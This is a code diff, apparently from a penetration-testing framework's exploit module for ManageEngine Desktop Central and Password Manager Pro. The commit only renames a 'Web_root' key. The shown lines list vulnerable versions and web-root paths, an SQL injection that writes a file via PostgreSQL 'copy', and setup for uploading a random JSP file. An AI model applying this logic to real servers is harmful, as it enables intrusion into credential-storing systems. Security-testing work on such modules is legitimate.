@@ -55,49 +55,49 @@ def initialize(info={})
55
55
[ 'Automatic' , { } ] ,
56
56
[ 'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows' ,
57
57
{
58
- 'Web_root ' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\' ,
58
+ 'WebRoot ' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\' ,
59
59
'Database' => 'postgresql' ,
60
60
'Platform' => 'win'
61
61
}
62
62
] ,
63
63
[ 'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows' ,
64
64
{
65
- 'Web_root ' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\' ,
65
+ 'WebRoot ' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\' ,
66
66
'Database' => 'postgresql' ,
67
67
'Platform' => 'win'
68
68
}
69
69
] ,
70
70
[ 'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows' ,
71
71
{
72
- 'Web_root ' => '../../webapps/DesktopCentral/' ,
72
+ 'WebRoot ' => '../../webapps/DesktopCentral/' ,
73
73
'Database' => 'mysql' ,
74
74
'Platform' => 'win'
75
75
}
76
76
] ,
77
77
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows' ,
78
78
{
79
- 'Web_root ' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\' ,
79
+ 'WebRoot ' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\' ,
80
80
'Database' => 'postgresql' ,
81
81
'Platform' => 'win'
82
82
}
83
83
] ,
84
84
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows' ,
85
85
{
86
- 'Web_root ' => '../../webapps/PassTrix/' ,
86
+ 'WebRoot ' => '../../webapps/PassTrix/' ,
87
87
'Database' => 'mysql' ,
88
88
'Platform' => 'win'
89
89
}
90
90
] ,
91
91
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux' ,
92
92
{
93
- 'Web_root ' => '/opt/ManageEngine/PMP/webapps/PassTrix/' ,
93
+ 'WebRoot ' => '/opt/ManageEngine/PMP/webapps/PassTrix/' ,
94
94
'Database' => 'postgresql' ,
95
95
'Platform' => 'linux'
96
96
}
97
97
] ,
98
98
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux' ,
99
99
{
100
- 'Web_root ' => '../../webapps/PassTrix/' ,
100
+ 'WebRoot ' => '../../webapps/PassTrix/' ,
101
101
'Database' => 'mysql' ,
102
102
'Platform' => 'linux'
103
103
}
@@ -215,11 +215,11 @@ def pick_target
215
215
postgresql_path = datastore [ 'WEB_ROOT' ] . dup
216
216
mysql_path = datastore [ 'WEB_ROOT' ] . dup
217
217
elsif res . body . to_s =~ /ManageEngine Desktop Central MSP/
218
- postgresql_path = targets [ 2 ] [ 'Web_root ' ] . dup
219
- mysql_path = targets [ 3 ] [ 'Web_root ' ] . dup
218
+ postgresql_path = targets [ 2 ] [ 'WebRoot ' ] . dup
219
+ mysql_path = targets [ 3 ] [ 'WebRoot ' ] . dup
220
220
else
221
- postgresql_path = targets [ 1 ] [ 'Web_root ' ] . dup
222
- mysql_path = targets [ 3 ] [ 'Web_root ' ] . dup
221
+ postgresql_path = targets [ 1 ] [ 'WebRoot ' ] . dup
222
+ mysql_path = targets [ 3 ] [ 'WebRoot ' ] . dup
223
223
end
224
224
else
225
225
# Test for Password Manager Pro
@@ -233,8 +233,8 @@ def pick_target
233
233
postgresql_path = datastore [ 'WEB_ROOT' ] . dup
234
234
mysql_path = datastore [ 'WEB_ROOT' ] . dup
235
235
else
236
- postgresql_path = targets [ 4 ] [ 'Web_root ' ] . dup
237
- mysql_path = targets [ 5 ] [ 'Web_root ' ] . dup
236
+ postgresql_path = targets [ 4 ] [ 'WebRoot ' ] . dup
237
+ mysql_path = targets [ 5 ] [ 'WebRoot ' ] . dup
238
238
end
239
239
else
240
240
# We don't know what this is, bail
@@ -301,7 +301,7 @@ def pick_target
301
301
else
302
302
# OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
303
303
# no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
304
- filepath = targets [ 5 ] [ 'Web_root ' ] . dup << rand_txt
304
+ filepath = targets [ 5 ] [ 'WebRoot ' ] . dup << rand_txt
305
305
inject_sql ( "copy (select version()) to '#{ filepath } '" , "postgresql" )
306
306
307
307
res = send_request_cgi ( {
@@ -545,7 +545,7 @@ def exploit
545
545
if datastore [ 'WEB_ROOT' ]
546
546
web_root = datastore [ 'WEB_ROOT' ]
547
547
else
548
- web_root = @my_target [ 'Web_root ' ]
548
+ web_root = @my_target [ 'WebRoot ' ]
549
549
end
550
550
551
551
jsp_name = rand_text_alpha_lower ( 8 ) + ".jsp"
0 commit comments